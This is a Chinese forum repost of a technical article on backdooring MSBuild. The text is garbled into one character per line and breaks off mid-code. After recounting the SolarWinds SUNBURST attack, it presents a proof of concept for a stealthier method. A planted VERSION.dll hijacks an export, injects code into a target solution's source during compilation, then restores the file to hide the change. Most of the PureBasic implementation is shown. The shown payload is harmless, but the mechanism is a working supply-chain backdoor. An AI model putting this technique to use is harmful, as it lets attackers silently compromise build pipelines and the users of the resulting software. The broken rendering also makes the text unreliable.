论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[16430] 2021-02-12_MSBuild后门技术分析
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-18
IOT
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-02-12_MSBuild后门技术分析
M
S
B
u
i
l
d
后
门
技
术
分
析
A
l
p
h
a
_
h
4
c
k
F
r
e
e
B
u
f
2
0
2
1
-
0
2
-
1
2
写
在
前
面
的
话
写
在
前
面
的
话
在
2
0
2
0
年
,
不
同
的
美
国
联
邦
政
府
分
支
机
构
都
受
到
了
大
规
模
数
据
泄
露
的
影
响
。
其
中
很
大
一
部
分
可
以
归
结
于
针
对
S
o
l
a
r
W
i
n
d
s
的
供
应
链
攻
击
,
包
括
其
旗
舰
产
品
S
o
l
a
r
W
i
n
d
s
O
r
i
o
n
的
基
础
设
施
建
设
。
2
0
2
1
年
1
月
1
1
日
,
C
r
o
w
d
S
t
r
i
k
e
情
报
小
组
发
布
了
一
份
分
析
报
告
,
分
析
了
部
署
到
S
o
l
a
r
W
i
n
d
s
构
建
环
境
中
的
一
个
恶
意
工
具
,
而
该
恶
意
工
具
能
够
在
构
建
时
将
S
U
N
B
U
R
S
T
后
门
注
入
S
o
l
a
r
W
i
n
d
s
O
r
i
o
n
平
台
之
中
。
C
r
o
w
d
S
t
r
i
k
e
的
博
客
文
章
是
一
位
同
事
介
绍
给
我
的
。
S
U
N
B
U
R
S
T
的
开
发
人
员
会
尝
试
每
秒
都
去
搜
索
M
S
B
u
i
l
d
.
e
x
e
进
程
,
然
后
读
取
这
些
远
程
进
程
中
的
虚
拟
内
存
来
确
定
现
在
构
建
的
是
否
是
正
确
的
解
决
方
案
。
除
此
之
外
,
S
U
N
B
U
R
S
T
攻
击
者
还
会
创
建
一
个
计
划
任
务
,
在
目
标
设
备
每
次
启
动
时
执
行
后
门
植
入
操
作
。
实
际
上
,
我
认
为
这
种
方
式
是
很
粗
糙
也
很
草
率
的
,
那
怎
么
做
才
会
更
好
呢
?
我
们
接
着
往
下
看
!
M
S
B
u
i
l
d
回
顾
回
顾
M
S
B
u
i
l
d
微
软
引
擎
在
构
建
应
用
程
序
时
,
绝
大
多
数
时
候
都
会
使
用
X
M
L
文
件
来
指
导
目
标
解
决
方
案
的
构
建
过
程
。
在
检
查
M
S
B
u
i
l
d
.
e
x
e
的
代
码
时
,
你
首
先
会
注
意
到
的
一
件
事
情
就
是
它
本
审
就
是
一
个
.
N
E
T
程
序
集
。
那
么
,
哪
种
方
法
才
是
后
门
化
任
意
.
N
E
T
程
序
集
的
最
佳
方
法
呢
?
没
错
,
就
是
使
用
v
e
r
s
i
o
n
.
d
l
l
。
运
行
任
意
解
决
方
案
的
快
速
构
建
后
(
比
如
说
使
用
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
S
o
m
e
P
r
o
j
e
c
t
.
s
l
n
/
t
:
B
u
i
l
d
/
p
:
C
o
n
f
i
g
u
r
a
t
i
o
n
=
R
e
l
e
a
s
e
;
P
l
a
t
f
o
r
m
=
W
i
n
6
4
)
,
并
使
用
P
r
o
c
M
o
n
记
录
程
序
执
行
路
径
,
我
们
会
发
现
程
序
会
在
M
S
B
u
i
l
d
.
e
x
e
目
录
下
搜
索
多
个
D
L
L
文
件
:
因
此
,
我
们
就
可
以
直
接
对
M
S
B
u
i
l
d
.
e
x
e
或
C
#
编
译
器
(
C
s
c
.
e
x
e
)
下
手
了
!
正
如
C
r
o
w
d
S
t
r
i
k
e
所
提
到
的
,
植
入
的
后
门
代
码
已
经
检
查
出
了
正
确
的
解
决
方
案
,
所
以
我
们
在
测
试
中
也
将
针
对
M
S
B
u
i
l
d
.
e
x
e
文
件
进
行
操
作
。
V
E
R
S
I
O
N
.
d
l
l
结
构
结
构
我
们
已
经
知
道
,
V
E
R
S
I
O
N
.
d
l
l
会
导
出
1
7
个
不
同
的
名
称
,
我
们
需
要
去
实
现
这
些
内
容
以
确
定
目
标
的
正
常
功
能
不
受
影
响
。
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
m
s
c
o
r
e
e
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
o
l
e
3
2
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
a
p
i
-
m
s
-
w
i
n
-
c
o
r
e
-
w
i
n
r
t
-
l
1
-
1
-
0
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
V
E
R
S
I
O
N
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
a
p
i
-
m
s
-
w
i
n
-
c
o
r
e
-
w
i
n
r
t
-
s
t
r
i
n
g
-
l
1
-
1
-
0
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
s
x
s
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
W
i
n
d
o
w
s
C
o
d
e
c
s
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
M
S
B
u
i
l
d
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
V
E
R
S
I
O
N
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
C
s
c
.
e
x
e
"
{
"
t
y
p
e
"
:
"
l
o
a
d
-
n
o
t
-
f
o
u
n
d
-
d
l
l
"
,
"
e
v
e
n
t
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
m
s
c
o
r
e
e
.
d
l
l
"
,
"
p
r
o
c
e
s
s
_
i
m
a
g
e
_
p
a
t
h
"
:
"
C
:
W
i
n
d
o
w
s
M
i
c
r
o
s
o
f
t
.
N
E
T
F
r
a
m
e
w
o
r
k
6
4
v
4
.
0
.
3
0
3
1
9
C
s
c
.
e
x
e
"
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
B
y
H
a
n
d
l
e
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
E
x
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
A
)
概
念
验
证
概
念
验
证
P
o
C
我
们
的
P
o
C
会
在
D
L
L
中
实
现
后
门
功
能
,
而
不
需
要
每
秒
读
取
远
程
进
程
内
存
或
触
发
进
程
搜
索
。
P
o
C
将
用
P
u
r
e
B
a
s
i
c
编
写
,
因
为
没
有
一
个
正
常
的
攻
击
者
会
在
其
中
实
现
他
的
植
入
,
因
此
不
需
要
考
虑
复
制
粘
贴
这
个
源
代
码
;
-
)
目
标
分
析
目
标
分
析
注
入
的
代
码
应
具
有
以
下
特
征
:
没
有
其
他
正
在
运
行
的
进
程
;
无
远
程
进
程
操
作
(
读
取
/
写
入
远
程
进
程
内
存
等
)
;
生
成
正
确
解
决
方
案
的
唯
一
触
发
器
;
在
生
成
过
程
中
插
入
后
门
在
生
成
过
程
之
后
删
除
后
门
源
文
件
;
目
标
实
现
目
标
实
现
正
如
我
们
前
面
看
到
的
,
V
E
R
S
I
O
N
.
d
l
l
文
件
很
早
就
由
.
N
E
T
运
行
时
加
载
了
。
通
过
实
现
m
o
c
k
函
数
,
不
仅
可
以
验
证
是
否
加
载
了
D
L
L
,
而
且
还
可
以
知
道
在
执
行
构
建
过
程
之
前
调
用
了
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
函
数
,
如
下
图
所
示
:
考
虑
到
这
一
点
,
那
么
我
们
就
可
以
不
依
赖
D
l
l
M
a
i
n
函
数
中
任
何
不
成
熟
的
解
决
方
案
,
而
只
需
劫
持
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
调
用
,
执
行
我
们
的
后
门
插
入
代
码
,
然
后
调
用
真
正
的
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
函
数
并
返
回
其
结
果
,
就
可
以
绕
过
加
载
程
序
锁
的
任
何
问
题
。
在
下
面
的
P
o
C
中
,
后
门
被
插
入
到
对
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
的
调
用
中
。
整
个
过
程
中
,
源
代
码
保
存
在
内
存
中
,
只
要
用
D
L
L
_
P
R
O
C
E
S
S
_
D
E
T
A
C
H
调
用
D
l
l
M
a
i
n
,
就
可
以
通
过
还
原
以
前
的
源
代
码
来
删
除
后
门
代
码
。
总
结
总
结
通
过
将
我
们
的
V
E
R
S
I
O
N
.
d
l
l
拷
贝
到
M
S
B
u
i
l
d
目
录
下
,
我
们
可
以
更
好
地
确
保
操
作
的
安
全
性
,
因
为
不
需
要
创
建
额
外
的
进
程
,
可
以
省
略
内
存
搜
索
并
捕
获
每
一
次
的
构
建
操
作
,
因
为
我
们
的
代
码
是
由
M
S
B
u
i
l
d
直
接
执
行
的
。
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
E
x
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
S
i
z
e
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
G
e
t
F
i
l
e
V
e
r
s
i
o
n
I
n
f
o
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
F
i
n
d
F
i
l
e
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
F
i
n
d
F
i
l
e
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
I
n
s
t
a
l
l
F
i
l
e
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
I
n
s
t
a
l
l
F
i
l
e
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
L
a
n
g
u
a
g
e
N
a
m
e
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
L
a
n
g
u
a
g
e
N
a
m
e
W
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
Q
u
e
r
y
V
a
l
u
e
A
)
_
_
e
x
p
o
r
t
_
n
a
m
e
(
V
e
r
Q
u
e
r
y
V
a
l
u
e
W
)
源
码
获
取
源
码
获
取
源
码
以
及
预
编
译
代
码
可
以
点
击
底
部
【
阅
读
原
文
】
获
取
。
;
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
;
*
*
;
*
A
u
t
h
o
r
:
m
a
r
p
i
e
(
m
a
r
p
i
e
@
a
1
2
d
4
0
4
.
n
e
t
)
*
;
*
L
i
c
e
n
s
e
:
B
S
D
2
-
c
l
a
u
s
e
*
;
*
C
o
p
y
r
i
g
h
t
:
(
c
)
2
0
2
1
,
a
1
2
d
4
0
4
.
n
e
t
*
;
*
S
t
a
t
u
s
:
P
r
o
t
o
t
y
p
e
*
;
*
C
r
e
a
t
e
d
:
2
0
2
0
0
1
1
6
*
;
*
L
a
s
t
U
p
d
a
t
e
:
2
0
2
0
0
1
1
7
*
;
*
*
;
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
E
n
a
b
l
e
E
x
p
l
i
c
i
t
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
;
-
C
o
n
s
t
s
#
T
A
R
G
E
T
_
S
O
L
U
T
I
O
N
=
"
C
o
n
s
o
l
e
A
p
p
1
.
s
l
n
"
#
B
A
C
K
D
O
O
R
_
C
O
D
E
=
"
p
u
b
l
i
c
C
l
a
s
s
1
(
)
{
C
o
n
s
o
l
e
.
W
r
i
t
e
L
i
n
e
(
"
+
C
h
r
(
3
4
)
+
"
H
e
l
l
o
f
r
o
m
t
h
e
S
t
a
t
i
c
i
n
i
t
i
a
l
i
z
e
r
!
"
+
C
h
r
(
3
4
)
+
"
)
;
}
"
#
B
A
C
K
D
O
O
R
_
I
N
S
E
R
T
_
A
F
T
E
R
=
"
c
l
a
s
s
C
l
a
s
s
1
{
"
#
B
A
C
K
D
O
O
R
_
A
L
I
V
E
=
$
c
4
5
c
9
b
d
a
8
d
b
1
#
M
I
N
_
S
I
Z
E
=
1
0
0
;
1
0
0
b
y
t
e
s
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
;
-
V
a
r
i
a
b
l
e
s
G
l
o
b
a
l
m
u
x
.
i
=
#
N
u
l
l
;
s
e
t
i
n
D
L
L
_
P
R
O
C
E
S
S
_
A
T
T
A
C
H
G
l
o
b
a
l
h
V
e
r
s
i
o
n
.
i
=
#
N
u
l
l
;
o
r
i
g
v
e
r
s
i
o
n
.
d
l
l
h
a
n
d
l
e
G
l
o
b
a
l
a
c
t
i
v
e
.
i
=
0
;
c
h
e
c
k
e
d
i
n
C
l
e
a
n
u
p
B
a
c
k
d
o
o
r
G
l
o
b
a
l
o
r
i
g
C
o
n
t
e
n
t
.
s
=
"
"
;
p
t
r
t
o
m
e
m
o
r
y
o
f
t
h
e
o
r
i
g
i
n
a
l
s
o
u
r
c
e
G
l
o
b
a
l
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
.
i
=
0
;
s
i
z
e
o
f
t
h
e
o
r
i
g
i
n
a
l
s
o
u
r
c
e
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
;
-
B
a
c
k
d
o
o
r
H
a
n
d
l
i
n
g
P
r
o
c
e
d
u
r
e
.
s
G
e
t
T
a
r
g
e
t
F
i
l
e
P
a
t
h
(
)
D
e
f
i
n
e
i
.
i
D
e
f
i
n
e
i
.
i
D
e
f
i
n
e
p
a
t
h
.
s
F
o
r
i
=
0
T
o
C
o
u
n
t
P
r
o
g
r
a
m
P
a
r
a
m
e
t
e
r
s
(
)
p
a
t
h
=
P
r
o
g
r
a
m
P
a
r
a
m
e
t
e
r
(
i
)
I
f
C
o
u
n
t
S
t
r
i
n
g
(
p
a
t
h
,
#
T
A
R
G
E
T
_
S
O
L
U
T
I
O
N
)
>
0
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
G
e
t
P
a
t
h
P
a
r
t
(
p
a
t
h
)
+
"
P
r
o
g
r
a
m
.
c
s
"
E
n
d
I
f
N
e
x
t
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
"
"
E
n
d
P
r
o
c
e
d
u
r
e
P
r
o
c
e
d
u
r
e
.
b
R
e
a
d
O
r
i
g
C
o
n
t
e
n
t
(
h
F
i
l
e
.
i
)
D
e
f
i
n
e
r
e
s
.
b
=
#
F
a
l
s
e
F
i
l
e
S
e
e
k
(
h
F
i
l
e
,
0
,
#
P
B
_
A
b
s
o
l
u
t
e
)
D
e
f
i
n
e
s
i
z
e
.
i
=
L
o
f
(
h
F
i
l
e
)
D
e
f
i
n
e
*
m
e
m
=
A
l
l
o
c
a
t
e
M
e
m
o
r
y
(
s
i
z
e
)
I
f
R
e
a
d
D
a
t
a
(
h
F
i
l
e
,
*
m
e
m
,
s
i
z
e
)
<
>
s
i
z
e
G
o
t
o
R
e
a
d
A
l
l
C
l
e
a
n
u
p
E
n
d
I
f
o
r
i
g
C
o
n
t
e
n
t
=
P
e
e
k
S
(
*
m
e
m
,
s
i
z
e
,
#
P
B
_
U
T
F
8
)
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
=
L
e
n
(
o
r
i
g
C
o
n
t
e
n
t
)
r
e
s
=
#
T
r
u
e
R
e
a
d
A
l
l
C
l
e
a
n
u
p
:
I
f
*
m
e
m
F
r
e
e
M
e
m
o
r
y
(
*
m
e
m
)
E
n
d
I
f
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
r
e
s
E
n
d
P
r
o
c
e
d
u
r
e
;
I
n
s
e
r
t
B
a
c
k
d
o
o
r
n
e
e
d
s
t
o
b
e
c
a
l
l
e
d
f
r
o
m
a
f
u
n
c
t
i
o
n
h
o
l
i
n
g
m
u
x
!
P
r
o
c
e
d
u
r
e
.
b
I
n
s
e
r
t
B
a
c
k
d
o
o
r
(
p
a
t
h
.
s
)
D
e
f
i
n
e
r
e
s
.
b
=
#
F
a
l
s
e
D
e
f
i
n
e
h
F
i
l
e
.
i
=
O
p
e
n
F
i
l
e
(
#
P
B
_
A
n
y
,
p
a
t
h
,
#
P
B
_
F
i
l
e
_
S
h
a
r
e
d
R
e
a
d
|
#
P
B
_
U
T
F
8
)
I
f
N
o
t
h
F
i
l
e
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
r
e
s
E
n
d
I
f
;
r
e
a
d
f
i
l
e
c
o
n
t
e
n
t
I
f
N
o
t
R
e
a
d
O
r
i
g
C
o
n
t
e
n
t
(
h
F
i
l
e
)
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
E
n
d
I
f
;
c
h
e
c
k
i
f
t
h
e
r
i
g
h
t
c
o
d
e
i
s
p
r
e
s
e
n
t
D
e
f
i
n
e
p
o
s
.
i
=
F
i
n
d
S
t
r
i
n
g
(
o
r
i
g
C
o
n
t
e
n
t
,
#
B
A
C
K
D
O
O
R
_
I
N
S
E
R
T
_
A
F
T
E
R
)
-
1
I
f
p
o
s
<
0
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
E
n
d
I
f
;
r
e
v
e
r
t
f
i
l
e
t
o
0
F
i
l
e
S
e
e
k
(
h
F
i
l
e
,
0
,
#
P
B
_
A
b
s
o
l
u
t
e
)
T
r
u
n
c
a
t
e
F
i
l
e
(
h
F
i
l
e
)
;
w
r
i
t
e
c
o
n
t
e
n
t
t
i
l
l
s
t
a
r
t
o
f
b
a
c
k
d
o
o
r
D
e
f
i
n
e
w
r
i
t
e
S
i
z
e
.
i
=
p
o
s
+
L
e
n
(
#
B
A
C
K
D
O
O
R
_
I
N
S
E
R
T
_
A
F
T
E
R
)
D
e
f
i
n
e
s
i
z
e
L
e
f
t
=
w
r
i
t
e
S
i
z
e
I
f
W
r
i
t
e
S
t
r
i
n
g
(
h
F
i
l
e
,
L
e
f
t
(
o
r
i
g
C
o
n
t
e
n
t
,
w
r
i
t
e
S
i
z
e
)
,
#
P
B
_
U
T
F
8
)
=
0
;
w
e
s
h
o
u
l
d
a
d
d
a
r
e
s
t
o
r
e
o
f
t
h
e
o
r
i
g
i
n
a
l
f
i
l
e
h
e
r
e
;
.
.
.
d
e
p
e
n
d
i
n
g
o
n
t
h
e
w
r
i
t
e
e
r
r
o
r
.
.
.
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
E
n
d
I
f
;
w
r
i
t
e
b
a
c
k
d
o
o
r
w
r
i
t
e
S
i
z
e
=
L
e
n
(
#
B
A
C
K
D
O
O
R
_
C
O
D
E
)
I
f
W
r
i
t
e
S
t
r
i
n
g
(
h
F
i
l
e
,
#
B
A
C
K
D
O
O
R
_
C
O
D
E
,
#
P
B
_
U
T
F
8
)
=
0
;
w
e
s
h
o
u
l
d
a
d
d
a
r
e
s
t
o
r
e
o
f
t
h
e
o
r
i
g
i
n
a
l
f
i
l
e
h
e
r
e
;
.
.
.
d
e
p
e
n
d
i
n
g
o
n
t
h
e
w
r
i
t
e
e
r
r
o
r
.
.
.
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
E
n
d
I
f
;
w
r
i
t
e
r
e
s
t
o
f
f
i
l
e
w
r
i
t
e
S
i
z
e
=
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
-
s
i
z
e
L
e
f
t
I
f
W
r
i
t
e
S
t
r
i
n
g
(
h
F
i
l
e
,
R
i
g
h
t
(
o
r
i
g
C
o
n
t
e
n
t
,
w
r
i
t
e
S
i
z
e
)
,
#
P
B
_
U
T
F
8
)
=
0
;
w
e
s
h
o
u
l
d
a
d
d
a
r
e
s
t
o
r
e
o
f
t
h
e
o
r
i
g
i
n
a
l
f
i
l
e
h
e
r
e
;
.
.
.
d
e
p
e
n
d
i
n
g
o
n
t
h
e
w
r
i
t
e
e
r
r
o
r
.
.
.
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
E
n
d
I
f
r
e
s
=
#
T
r
u
e
I
n
s
e
r
t
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
:
C
l
o
s
e
F
i
l
e
(
h
F
i
l
e
)
P
r
o
c
e
d
u
r
e
R
e
t
u
r
n
r
e
s
I
n
s
e
r
t
B
a
c
k
d
o
o
r
E
r
r
o
r
:
I
f
L
e
n
(
o
r
i
g
C
o
n
t
e
n
t
)
>
0
o
r
i
g
C
o
n
t
e
n
t
=
"
"
o
r
i
g
C
o
n
t
e
n
t
S
i
z
e
=
0
E
n
d
I
f
G
o
t
o
I
n
s
e
r
t
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
E
n
d
P
r
o
c
e
d
u
r
e
P
r
o
c
e
d
u
r
e
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
(
)
L
o
c
k
M
u
t
e
x
(
m
u
x
)
;
c
h
e
c
k
i
f
t
h
e
b
a
c
k
d
o
o
r
i
s
a
l
r
e
a
d
y
a
l
i
v
e
;
c
h
e
c
k
i
f
t
h
e
b
a
c
k
d
o
o
r
i
s
a
l
r
e
a
d
y
a
l
i
v
e
I
f
#
B
A
C
K
D
O
O
R
_
A
L
I
V
E
=
a
c
t
i
v
e
G
o
t
o
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
E
n
d
I
f
;
c
h
e
c
k
i
f
w
e
h
a
v
e
t
h
e
r
i
g
h
t
s
o
l
u
t
i
o
n
D
e
f
i
n
e
t
a
r
g
e
t
F
i
l
e
p
a
t
h
.
s
=
G
e
t
T
a
r
g
e
t
F
i
l
e
P
a
t
h
(
)
I
f
L
e
n
(
t
a
r
g
e
t
F
i
l
e
p
a
t
h
)
<
1
G
o
t
o
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
C
l
e
a
n
u
p
E
n
d
I
f
M
e
s
s
a
g
e
R
e
q
u
e
s
t
e
r
(
"
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
"
,
"
H
e
l
l
o
W
o
r
l
d
f
r
o
m
S
o
l
u
t
i
o
n
:
"
+
#
C
R
L
F
$
+
P
r
o
g
r
a
m
P
a
r
a
m
e
t
e
r
(
0
)
)
;
i
n
i
t
b
a
c
k
d
o
o
r
I
f
I
n
s
e
r
t
B
a
c
k
d
o
o
r
(
t
a
r
g
e
t
F
i
l
e
p
a
t
h
)
a
c
t
i
v
e
=
#
B
A
C
K
D
O
O
R
_
A
L
I
V
E
M
e
s
s
a
g
e
R
e
q
u
e
s
t
e
r
(
"
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
"
,
"
.
.
.
b
a
c
k
d
o
o
r
i
n
s
e
r
e
d
.
.
.
"
)
E
l
s
e
M
e
s
s
a
g
e
R
e
q
u
e
s
t
e
r
(
"
A
c
t
i
v
a
t
e
B
a
c
k
d
o
o
r
"
,
"
.
.
.
b
a
c
k
d
